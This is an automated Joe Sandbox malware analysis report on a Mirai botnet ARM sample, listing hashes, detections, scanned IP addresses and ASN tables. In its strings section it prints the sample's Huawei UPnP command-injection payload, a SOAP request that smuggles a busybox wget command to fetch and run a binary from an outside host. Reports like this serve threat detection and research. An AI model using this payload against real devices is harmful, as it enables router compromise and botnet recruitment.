Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
arm6-20240814-0111.elf

Overview

General Information

Sample name:arm6-20240814-0111.elf
Analysis ID:1492601
MD5:8f7a0cefc0892057bfa63966bbf41e8f
SHA1:1508bfbc24cd18e3ad218a8c431923783de4bd1e
SHA256:776e55e4452e5f0a0a771a417a122c8f82b122b25270ca7fb2b70f04863cb548
Infos:

Detection

Mirai
Score:72
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Detected TCP or UDP traffic on non-standard ports
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:40.0.0 Tourmaline
Analysis ID:1492601
Start date and time:2024-08-14 03:16:44 +02:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 5m 28s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:arm6-20240814-0111.elf
Detection:MAL
Classification:mal72.troj.linELF@0/0@2/0

Runtime Messages

Command:/tmp/arm6-20240814-0111.elf
PID:5656
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

  • system is lnxubuntu20
  • arm6-20240814-0111.elf (PID: 5656, Parent: 5456, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm6-20240814-0111.elf
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
arm6-20240814-0111.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
    arm6-20240814-0111.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security

      Memory Dumps

      SourceRuleDescriptionAuthorStrings
      5656.1.00007f1d0c017000.00007f1d0c031000.r-x.sdmpJoeSecurity_Mirai_6Yara detected MiraiJoe Security
        5656.1.00007f1d0c017000.00007f1d0c031000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
          Process Memory Space: arm6-20240814-0111.elf PID: 5656JoeSecurity_Mirai_6Yara detected MiraiJoe Security

            Suricata Signatures

            ⊘No Suricata rule has matched

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Antivirus / Scanner detection for submitted sample
            Source: arm6-20240814-0111.elfAvira: detected
            Multi AV Scanner detection for submitted file
            Source: arm6-20240814-0111.elfReversingLabs: Detection: 55%
            Source: arm6-20240814-0111.elfVirustotal: Detection: 55%Perma Link
            Source: global trafficTCP traffic: 192.168.2.13:46752 -> 41.1.23.33:37215
            Source: global trafficTCP traffic: 192.168.2.13:57020 -> 197.49.50.215:37215
            Source: global trafficTCP traffic: 192.168.2.13:37840 -> 102.134.216.116:37215
            Source: global trafficTCP traffic: 192.168.2.13:44836 -> 156.75.151.117:37215
            Source: global trafficTCP traffic: 192.168.2.13:41808 -> 41.249.111.90:37215
            Source: global trafficTCP traffic: 192.168.2.13:45278 -> 41.59.217.130:37215
            Source: global trafficTCP traffic: 192.168.2.13:58646 -> 154.134.56.130:2323
            Source: global trafficTCP traffic: 192.168.2.13:47008 -> 102.187.121.109:37215
            Source: global trafficTCP traffic: 192.168.2.13:52956 -> 156.11.126.81:37215
            Source: global trafficTCP traffic: 192.168.2.13:45950 -> 156.177.168.140:37215
            Source: global trafficTCP traffic: 192.168.2.13:51036 -> 41.224.191.129:37215
            Source: global trafficTCP traffic: 192.168.2.13:33128 -> 156.253.186.6:37215
            Source: global trafficTCP traffic: 192.168.2.13:38504 -> 156.91.176.142:2323
            Source: global trafficTCP traffic: 192.168.2.13:56724 -> 41.184.174.132:37215
            Source: global trafficTCP traffic: 192.168.2.13:52428 -> 156.152.144.45:37215
            Source: global trafficTCP traffic: 192.168.2.13:58606 -> 197.70.188.36:37215
            Source: global trafficTCP traffic: 192.168.2.13:47230 -> 102.53.205.96:37215
            Source: global trafficTCP traffic: 192.168.2.13:37122 -> 130.10.112.131:2323
            Source: global trafficTCP traffic: 192.168.2.13:57374 -> 183.230.169.148:2323
            Source: global trafficTCP traffic: 192.168.2.13:37356 -> 156.201.63.19:37215
            Source: global trafficTCP traffic: 192.168.2.13:35752 -> 102.71.185.164:37215
            Source: global trafficTCP traffic: 192.168.2.13:33826 -> 197.68.180.70:37215
            Source: global trafficTCP traffic: 192.168.2.13:38506 -> 60.109.245.52:2323
            Source: global trafficTCP traffic: 192.168.2.13:53874 -> 197.102.58.17:37215
            Source: global trafficTCP traffic: 192.168.2.13:33478 -> 197.33.2.140:37215
            Source: unknownTCP traffic detected without corresponding DNS query: 41.1.23.33
            Source: unknownTCP traffic detected without corresponding DNS query: 121.69.94.197
            Source: unknownTCP traffic detected without corresponding DNS query: 68.21.231.52
            Source: unknownTCP traffic detected without corresponding DNS query: 197.49.50.215
            Source: unknownTCP traffic detected without corresponding DNS query: 216.64.179.158
            Source: unknownTCP traffic detected without corresponding DNS query: 151.188.66.157
            Source: unknownTCP traffic detected without corresponding DNS query: 118.193.56.101
            Source: unknownTCP traffic detected without corresponding DNS query: 102.134.216.116
            Source: unknownTCP traffic detected without corresponding DNS query: 23.138.37.212
            Source: unknownTCP traffic detected without corresponding DNS query: 105.96.32.89
            Source: unknownTCP traffic detected without corresponding DNS query: 111.118.138.64
            Source: unknownTCP traffic detected without corresponding DNS query: 176.139.185.154
            Source: unknownTCP traffic detected without corresponding DNS query: 81.239.112.126
            Source: unknownTCP traffic detected without corresponding DNS query: 156.75.151.117
            Source: unknownTCP traffic detected without corresponding DNS query: 202.147.31.50
            Source: unknownTCP traffic detected without corresponding DNS query: 1.138.141.144
            Source: unknownTCP traffic detected without corresponding DNS query: 41.249.111.90
            Source: unknownTCP traffic detected without corresponding DNS query: 87.219.95.216
            Source: unknownTCP traffic detected without corresponding DNS query: 41.59.217.130
            Source: unknownTCP traffic detected without corresponding DNS query: 105.75.136.131
            Source: unknownTCP traffic detected without corresponding DNS query: 154.134.56.130
            Source: unknownTCP traffic detected without corresponding DNS query: 102.187.121.109
            Source: unknownTCP traffic detected without corresponding DNS query: 193.190.66.25
            Source: unknownTCP traffic detected without corresponding DNS query: 156.11.126.81
            Source: unknownTCP traffic detected without corresponding DNS query: 156.177.168.140
            Source: unknownTCP traffic detected without corresponding DNS query: 65.105.26.81
            Source: unknownTCP traffic detected without corresponding DNS query: 40.123.60.209
            Source: unknownTCP traffic detected without corresponding DNS query: 66.241.94.144
            Source: unknownTCP traffic detected without corresponding DNS query: 41.224.191.129
            Source: unknownTCP traffic detected without corresponding DNS query: 75.7.232.29
            Source: unknownTCP traffic detected without corresponding DNS query: 122.151.52.158
            Source: unknownTCP traffic detected without corresponding DNS query: 90.135.40.201
            Source: unknownTCP traffic detected without corresponding DNS query: 156.253.186.6
            Source: unknownTCP traffic detected without corresponding DNS query: 112.88.214.72
            Source: unknownTCP traffic detected without corresponding DNS query: 62.72.181.10
            Source: unknownTCP traffic detected without corresponding DNS query: 103.193.219.145
            Source: unknownTCP traffic detected without corresponding DNS query: 122.151.81.184
            Source: unknownTCP traffic detected without corresponding DNS query: 186.118.234.169
            Source: unknownTCP traffic detected without corresponding DNS query: 133.3.125.253
            Source: unknownTCP traffic detected without corresponding DNS query: 135.67.11.24
            Source: unknownTCP traffic detected without corresponding DNS query: 156.91.176.142
            Source: unknownTCP traffic detected without corresponding DNS query: 41.184.174.132
            Source: unknownTCP traffic detected without corresponding DNS query: 170.255.178.244
            Source: unknownTCP traffic detected without corresponding DNS query: 156.152.144.45
            Source: unknownTCP traffic detected without corresponding DNS query: 221.35.249.104
            Source: unknownTCP traffic detected without corresponding DNS query: 66.30.41.27
            Source: unknownTCP traffic detected without corresponding DNS query: 73.162.244.200
            Source: unknownTCP traffic detected without corresponding DNS query: 164.178.237.236
            Source: unknownTCP traffic detected without corresponding DNS query: 106.87.100.40
            Source: unknownTCP traffic detected without corresponding DNS query: 80.76.196.80
            Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
            Source: arm6-20240814-0111.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
            Source: arm6-20240814-0111.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
            Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g
            Source: Initial sampleString containing 'busybox' found: -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
            Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 85.239.34.237 -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
            Source: ELF static info symbol of initial sample.symtab present: no
            Source: classification engineClassification label: mal72.troj.linELF@0/0@2/0
            Source: /tmp/arm6-20240814-0111.elf (PID: 5656)Queries kernel information via 'uname': Jump to behavior
            Source: arm6-20240814-0111.elf, 5656.1.0000555bdaf8d000.0000555bdb0bb000.rw-.sdmpBinary or memory string: [U!/etc/qemu-binfmt/arm
            Source: arm6-20240814-0111.elf, 5656.1.0000555bdaf8d000.0000555bdb0bb000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
            Source: arm6-20240814-0111.elf, 5656.1.00007ffc30e71000.00007ffc30e92000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
            Source: arm6-20240814-0111.elf, 5656.1.00007ffc30e71000.00007ffc30e92000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
            Source: arm6-20240814-0111.elf, 5656.1.00007ffc30e71000.00007ffc30e92000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm6-20240814-0111.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm6-20240814-0111.elf

            Stealing of Sensitive Information

            barindex
            Yara detected Mirai
            Source: Yara matchFile source: arm6-20240814-0111.elf, type: SAMPLE
            Source: Yara matchFile source: 5656.1.00007f1d0c017000.00007f1d0c031000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: arm6-20240814-0111.elf PID: 5656, type: MEMORYSTR

            Remote Access Functionality

            barindex
            Yara detected Mirai
            Source: Yara matchFile source: arm6-20240814-0111.elf, type: SAMPLE
            Source: Yara matchFile source: 5656.1.00007f1d0c017000.00007f1d0c031000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: arm6-20240814-0111.elf PID: 5656, type: MEMORYSTR

            Mitre Att&ck Matrix

            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume AccessOS Credential Dumping11
            Security Software Discovery            		Remote ServicesData from Local System1
            Non-Standard Port            		Exfiltration Over Other Network MediumAbuse Accessibility Features
            CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
            Non-Application Layer Protocol            		Exfiltration Over BluetoothNetwork Denial of Service
            Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive1
            Application Layer Protocol            		Automated ExfiltrationData Encrypted for Impact

            Malware Configuration

            ⊘No configs have been found

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Number of created Files
            • Is malicious
            • Internet

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            arm6-20240814-0111.elf55%ReversingLabsLinux.Trojan.Mirai
            arm6-20240814-0111.elf55%VirustotalBrowse
            arm6-20240814-0111.elf100%AviraEXP/ELF.Mirai.W

            Dropped Files

            ⊘No Antivirus matches

            Domains

            SourceDetectionScannerLabelLink
            daisy.ubuntu.com0%VirustotalBrowse

            URLs

            SourceDetectionScannerLabelLink
            http://schemas.xmlsoap.org/soap/encoding/0%URL Reputationsafe
            http://schemas.xmlsoap.org/soap/encoding/0%URL Reputationsafe
            http://schemas.xmlsoap.org/soap/envelope/0%URL Reputationsafe
            http://schemas.xmlsoap.org/soap/envelope/0%URL Reputationsafe

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            daisy.ubuntu.com
            		162.213.35.24
            		truefalseunknown

            URLs from Memory and Binaries

            NameSourceMaliciousAntivirus DetectionReputation
            http://schemas.xmlsoap.org/soap/encoding/arm6-20240814-0111.elffalse
            • URL Reputation: safe
            • URL Reputation: safe
            		unknown
            http://schemas.xmlsoap.org/soap/envelope/arm6-20240814-0111.elffalse
            • URL Reputation: safe
            • URL Reputation: safe
            		unknown

            World Map of Contacted IPs

            • No. of IPs < 25%
            • 25% < No. of IPs < 50%
            • 50% < No. of IPs < 75%
            • 75% < No. of IPs

            Public IPs

            IPDomainCountryFlagASNASN NameMalicious
            202.147.31.50
            		unknownJapan4637ASN-TELSTRA-GLOBALTelstraGlobalHKfalse
            111.118.138.64
            		unknownCambodia
            		38623VIETTELCAMBODIA-AS-APISPIXPINCAMBODIAWITHTHEBESTVERVfalse
            81.239.112.126
            		unknownSweden
            		3301TELIANET-SWEDENTeliaCompanySEfalse
            203.75.207.166
            		unknownTaiwan; Republic of China (ROC)
            		3462HINETDataCommunicationBusinessGroupTWfalse
            122.151.81.184
            		unknownAustralia
            		38285VOCUS-RETAIL-AUVocusRetailAUfalse
            164.178.237.236
            		unknownCanada
            		37717EL-KhawarizmiTNfalse
            80.76.196.80
            		unknownUnited Kingdom
            		31641ATLAS-COMMUNICATIONS-ASGBfalse
            156.253.186.6
            		unknownSeychelles
            		132839POWERLINE-AS-APPOWERLINEDATACENTERHKfalse
            122.228.112.179
            		unknownChina
            		134771CHINATELECOM-ZHEJIANG-WENZHOU-IDCWENZHOUZHEJIANGProvincefalse
            156.152.144.45
            		unknownUnited States
            		71HP-INTERNET-ASUSfalse
            78.204.8.123
            		unknownFrance
            		12322PROXADFRfalse
            189.146.43.33
            		unknownMexico
            		8151UninetSAdeCVMXfalse
            89.227.105.120
            		unknownFrance
            		12670AS-COMPLETELFRfalse
            132.46.12.43
            		unknownUnited States
            		385AFCONC-BLOCK1-ASUSfalse
            197.70.188.36
            		unknownSouth Africa
            		16637MTNNS-ASZAfalse
            79.51.4.187
            		unknownItaly
            		3269ASN-IBSNAZITfalse
            103.193.219.145
            		unknownChina
            		24039ITC-GLOBAL-AS-APITCGlobalAustraliaAUfalse
            41.184.174.132
            		unknownNigeria
            		29091IPNXngNGfalse
            156.201.63.19
            		unknownEgypt
            		8452TE-ASTE-ASEGfalse
            86.91.177.61
            		unknownNetherlands
            		1136KPNKPNNationalEUfalse
            65.105.26.81
            		unknownUnited States
            		2828XO-AS15USfalse
            23.138.37.212
            		unknownReserved
            		23033WOWUSfalse
            35.162.0.35
            		unknownUnited States
            		16509AMAZON-02USfalse
            176.139.185.154
            		unknownFrance
            		5410BOUYGTEL-ISPFRfalse
            179.5.146.47
            		unknownEl Salvador
            		14754TelguaGTfalse
            166.10.147.165
            		unknownUnited States
            		11798ACEDATACENTERS-AS-1USfalse
            54.254.169.28
            		unknownUnited States
            		16509AMAZON-02USfalse
            23.214.5.110
            		unknownUnited States
            		16625AKAMAI-ASUSfalse
            186.118.234.169
            		unknownColombia
            		3816COLOMBIATELECOMUNICACIONESSAESPCOfalse
            27.55.180.178
            		unknownThailand
            		132061REALMOVE-AS-APRealmoveCompanyLimitedTHfalse
            197.68.180.70
            		unknownSouth Africa
            		16637MTNNS-ASZAfalse
            62.72.181.10
            		unknownUkraine
            		24896INTELLECOM-ASUAfalse
            38.31.12.59
            		unknownUnited States
            		174COGENT-174USfalse
            194.35.191.127
            		unknownUnited States
            		395854SIMNA-64643USfalse
            197.1.172.116
            		unknownTunisia
            		37705TOPNETTNfalse
            54.133.78.197
            		unknownUnited States
            		14618AMAZON-AESUSfalse
            20.96.255.164
            		unknownUnited States
            		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
            41.1.23.33
            		unknownSouth Africa
            		29975VODACOM-ZAfalse
            206.151.17.212
            		unknownUnited States
            		3561CENTURYLINK-LEGACY-SAVVISUSfalse
            68.21.231.52
            		unknownUnited States
            		7018ATT-INTERNET4USfalse
            156.91.176.142
            		unknownUnited States
            		10695WAL-MARTUSfalse
            45.75.216.100
            		unknownUnited Kingdom
            		49425DIGITAL-REALTY-UKGBfalse
            41.249.111.90
            		unknownMorocco
            		36903MT-MPLSMAfalse
            41.224.191.129
            		unknownTunisia
            		37492ORANGE-TNfalse
            75.172.245.230
            		unknownUnited States
            		209CENTURYLINK-US-LEGACY-QWESTUSfalse
            138.2.189.16
            		unknownUnited States
            		264524CunhaeZanatotelecomLTDAMEBRfalse
            110.151.10.99
            		unknownAustralia
            		1221ASN-TELSTRATelstraCorporationLtdAUfalse
            75.7.232.29
            		unknownUnited States
            		7018ATT-INTERNET4USfalse
            66.30.41.27
            		unknownUnited States
            		7922COMCAST-7922USfalse
            1.138.141.144
            		unknownAustralia
            		1221ASN-TELSTRATelstraCorporationLtdAUfalse
            102.53.205.96
            		unknownMorocco
            		36903MT-MPLSMAfalse
            118.193.56.101
            		unknownChina
            		133115HKKFGL-AS-APHKKwaifongGroupLimitedHKfalse
            221.35.249.104
            		unknownJapan17676GIGAINFRASoftbankBBCorpJPfalse
            79.186.204.198
            		unknownPoland
            		5617TPNETPLfalse
            102.187.121.109
            		unknownEgypt
            		24835RAYA-ASEGfalse
            128.222.189.130
            		unknownUnited States
            		5723JHUUSfalse
            66.241.94.144
            		unknownUnited States
            		14188ASHLANDFIBERNETWORKUSfalse
            151.188.66.157
            		unknownUnited States
            		21984FCPSUSfalse
            130.10.112.131
            		unknownUnited States
            		6908DATAHOPDatahop-SixDegreesGBfalse
            112.255.126.189
            		unknownChina
            		4837CHINA169-BACKBONECHINAUNICOMChina169BackboneCNfalse
            156.177.168.140
            		unknownEgypt
            		36992ETISALAT-MISREGfalse
            69.201.61.0
            		unknownUnited States
            		11351TWC-11351-NORTHEASTUSfalse
            105.96.32.89
            		unknownAlgeria
            		36947ALGTEL-ASDZfalse
            197.33.2.140
            		unknownEgypt
            		8452TE-ASTE-ASEGfalse
            106.61.114.91
            		unknownChina
            		4134CHINANET-BACKBONENo31Jin-rongStreetCNfalse
            41.59.217.130
            		unknownTanzania United Republic of
            		33765TTCLDATATZfalse
            102.71.185.164
            		unknownMalawi
            		37294TNMMWfalse
            197.102.58.17
            		unknownSouth Africa
            		3741ISZAfalse
            216.64.179.158
            		unknownUnited States
            		3549LVLT-3549USfalse
            154.134.56.130
            		unknownEgypt
            		37069MOBINILEGfalse
            217.219.129.205
            		unknownIran (ISLAMIC Republic Of)
            		58224TCIIRfalse
            90.135.40.201
            		unknownSweden
            		1257TELE2EUfalse
            133.3.125.253
            		unknownJapan2504NCA5KyotoUniversityJPfalse
            73.162.244.200
            		unknownUnited States
            		7922COMCAST-7922USfalse
            177.199.116.28
            		unknownBrazil
            		26599TELEFONICABRASILSABRfalse
            183.230.169.148
            		unknownChina
            		9808CMNET-GDGuangdongMobileCommunicationCoLtdCNfalse
            87.219.95.216
            		unknownSpain
            		12479UNI2-ASESfalse
            112.88.214.72
            		unknownChina
            		17816CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovifalse
            156.11.126.81
            		unknownCanada
            		15290ALLST-15290CAfalse
            133.73.176.36
            		unknownJapan2907SINET-ASResearchOrganizationofInformationandSystemsNfalse
            135.67.11.24
            		unknownUnited States
            		18676AVAYAUSfalse
            106.87.100.40
            		unknownChina
            		4134CHINANET-BACKBONENo31Jin-rongStreetCNfalse
            181.108.39.1
            		unknownArgentina
            		7303TelecomArgentinaSAARfalse
            156.75.151.117
            		unknownUnited States
            		8103STATE-OF-FLAUSfalse
            60.109.245.52
            		unknownJapan17676GIGAINFRASoftbankBBCorpJPfalse
            61.75.224.202
            		unknownKorea Republic of
            		4766KIXS-AS-KRKoreaTelecomKRfalse
            197.49.50.215
            		unknownEgypt
            		8452TE-ASTE-ASEGfalse
            99.255.61.162
            		unknownCanada
            		812ROGERS-COMMUNICATIONSCAfalse
            102.134.216.116
            		unknownSouth Africa
            		328114Comsol-Networks-ASZAfalse
            105.75.136.131
            		unknownMorocco
            		36884MAROCCONNECTMAfalse
            121.69.94.197
            		unknownChina
            		4808CHINA169-BJChinaUnicomBeijingProvinceNetworkCNfalse
            122.151.52.158
            		unknownAustralia
            		38285VOCUS-RETAIL-AUVocusRetailAUfalse
            170.255.178.244
            		unknownBelgium
            		5400BTGBfalse
            193.190.66.25
            		unknownBelgium
            		2611BELNETBEfalse
            68.178.148.181
            		unknownUnited States
            		26496AS-26496-GO-DADDY-COM-LLCUSfalse
            97.92.92.239
            		unknownUnited States
            		20115CHARTER-20115USfalse
            40.123.60.209
            		unknownUnited States
            		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
            41.124.232.32
            		unknownSouth Africa
            		16637MTNNS-ASZAfalse

            Joe Sandbox View / Context

            IPs

            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            156.91.176.142kruma.armGet hashmaliciousMiraiBrowse
              yOtRXukeq9Get hashmaliciousUnknownBrowse

                Domains

                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                daisy.ubuntu.comarm6-20240813-0752.elfGet hashmaliciousMiraiBrowse
                • 162.213.35.25
                botx.arm5.elfGet hashmaliciousMiraiBrowse
                • 162.213.35.24
                sora.arm7.elfGet hashmaliciousMiraiBrowse
                • 162.213.35.24
                sora.x86.elfGet hashmaliciousMiraiBrowse
                • 162.213.35.24
                arm6-20240810-1324.elfGet hashmaliciousMiraiBrowse
                • 162.213.35.24
                botx.arm5.elfGet hashmaliciousMiraiBrowse
                • 162.213.35.24
                bot.arm.elfGet hashmaliciousMirai, OkiruBrowse
                • 162.213.35.24
                SecuriteInfo.com.Linux.Siggen.9999.27101.20869.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.25
                SecuriteInfo.com.Linux.Siggen.9999.16116.30213.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.25
                SecuriteInfo.com.Linux.Siggen.9999.16392.28267.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.24

                ASNs

                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                VIETTELCAMBODIA-AS-APISPIXPINCAMBODIAWITHTHEBESTVERVQsyCac05Yl.elfGet hashmaliciousMirai, MoobotBrowse
                • 175.100.119.213
                HTUyCRuDev.elfGet hashmaliciousUnknownBrowse
                • 36.37.168.145
                I5MXVvJym2.elfGet hashmaliciousMiraiBrowse
                • 36.37.168.127
                2VFOS2aVEh.elfGet hashmaliciousMiraiBrowse
                • 36.37.168.137
                botx.x86.elfGet hashmaliciousMiraiBrowse
                • 111.118.137.15
                ku1uI8KKoV.elfGet hashmaliciousUnknownBrowse
                • 36.37.208.242
                XBiCfJromk.elfGet hashmaliciousMiraiBrowse
                • 36.37.168.126
                uwVvr9YXPn.elfGet hashmaliciousMiraiBrowse
                • 111.118.137.5
                Cj1mRQdRCL.elfGet hashmaliciousMirai, MoobotBrowse
                • 111.118.137.121
                a2bmiIcQOR.elfGet hashmaliciousMiraiBrowse
                • 36.37.168.167
                ASN-TELSTRA-GLOBALTelstraGlobalHKx86.elfGet hashmaliciousMiraiBrowse
                • 42.99.217.163
                arm7.elfGet hashmaliciousUnknownBrowse
                • 202.42.235.77
                94.156.67.132-skid.mpsl-2024-07-30T18_34_38.elfGet hashmaliciousMirai, MoobotBrowse
                • 144.130.159.156
                Ares.x86.elfGet hashmaliciousUnknownBrowse
                • 203.190.99.19
                SecuriteInfo.com.Linux.Siggen.9999.32301.6786.elfGet hashmaliciousMiraiBrowse
                • 58.145.201.196
                mirai.mpsl.elfGet hashmaliciousMiraiBrowse
                • 138.105.126.211
                PZFcJr14mw.elfGet hashmaliciousMiraiBrowse
                • 192.100.85.69
                networkxm.elfGet hashmaliciousUnknownBrowse
                • 202.127.78.26
                arm4.elfGet hashmaliciousMiraiBrowse
                • 134.159.186.104
                V7UaNBrX72.elfGet hashmaliciousMirai, MoobotBrowse
                • 134.159.131.86
                TELIANET-SWEDENTeliaCompanySE46.19.143.29-mips-2024-08-10T05_33_17.elfGet hashmaliciousUnknownBrowse
                • 95.203.77.40
                botx.arm6.elfGet hashmaliciousMiraiBrowse
                • 78.74.19.187
                45.66.231.213-mipsel-2024-08-09T11_47_09.elfGet hashmaliciousUnknownBrowse
                • 195.252.55.185
                mips.elfGet hashmaliciousMiraiBrowse
                • 90.230.145.79
                arm5-20240807-1021.elfGet hashmaliciousMiraiBrowse
                • 159.193.137.103
                botx.mips.elfGet hashmaliciousMiraiBrowse
                • 81.230.220.181
                botx.arm.elfGet hashmaliciousMiraiBrowse
                • 2.254.234.181
                sora.ppc.elfGet hashmaliciousMiraiBrowse
                • 81.233.213.168
                sora.mips.elfGet hashmaliciousMiraiBrowse
                • 90.225.236.241
                arm7.elfGet hashmaliciousMiraiBrowse
                • 90.233.12.228
                HINETDataCommunicationBusinessGroupTWbotx.mips.elfGet hashmaliciousMiraiBrowse
                • 118.169.249.169
                botx.arm6.elfGet hashmaliciousMiraiBrowse
                • 122.127.229.116
                botx.x86.elfGet hashmaliciousMiraiBrowse
                • 220.137.57.106
                hoho.x86.elfGet hashmaliciousMiraiBrowse
                • 114.26.23.217
                mips.elfGet hashmaliciousMiraiBrowse
                • 118.169.81.133
                botx.x86.elfGet hashmaliciousMiraiBrowse
                • 220.131.214.58
                botx.mpsl.elfGet hashmaliciousMiraiBrowse
                • 114.37.170.5
                sora.ppc.elfGet hashmaliciousMiraiBrowse
                • 36.234.43.147
                185.196.11.135-arm-2024-08-06T18_49_53.elfGet hashmaliciousMiraiBrowse
                • 220.135.133.6
                154.216.17.9-skid.ppc-2024-08-04T06_22_51.elfGet hashmaliciousMirai, MoobotBrowse
                • 210.59.179.184

                JA3 Fingerprints

                ⊘No context

                Dropped Files

                ⊘No context

                Created / dropped Files

                ⊘No created / dropped files found

                Static File Info

                General

                File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
                Entropy (8bit):6.193672291384879
                TrID:
                • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                File name:arm6-20240814-0111.elf
                File size:105'216 bytes
                MD5:8f7a0cefc0892057bfa63966bbf41e8f
                SHA1:1508bfbc24cd18e3ad218a8c431923783de4bd1e
                SHA256:776e55e4452e5f0a0a771a417a122c8f82b122b25270ca7fb2b70f04863cb548
                SHA512:742a3c43ba6f95293ec0c724f0cd74b7eb345a1ecf114c35340587f4f9a9b551a1da07af6906315279719f7c74ab345412d0fb97e9b27fa284e6c2b339d7b420
                SSDEEP:3072:NbMzyMG34aAzyWaBLb0y1L2jaCmfWoz4:R+qRAz5a9bAjazWj
                TLSH:CDA31A56B8819B21C5D112BAFD1E118D332317FCD3EEB2129D205F74778A96B0E3BA16
                File Content Preview:.ELF..............(.....T...4... .......4. ...(.....................T...T...............X...X...T...X...............Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../.........T.....-.@0....S

                Static ELF Info

                ELF header

                Class:ELF32
                Data:2's complement, little endian
                Version:1 (current)
                Machine:ARM
                Version Number:0x1
                Type:EXEC (Executable file)
                OS/ABI:UNIX - System V
                ABI Version:0
                Entry Point Address:0x8154
                Flags:0x4000002
                ELF Header Size:52
                Program Header Offset:52
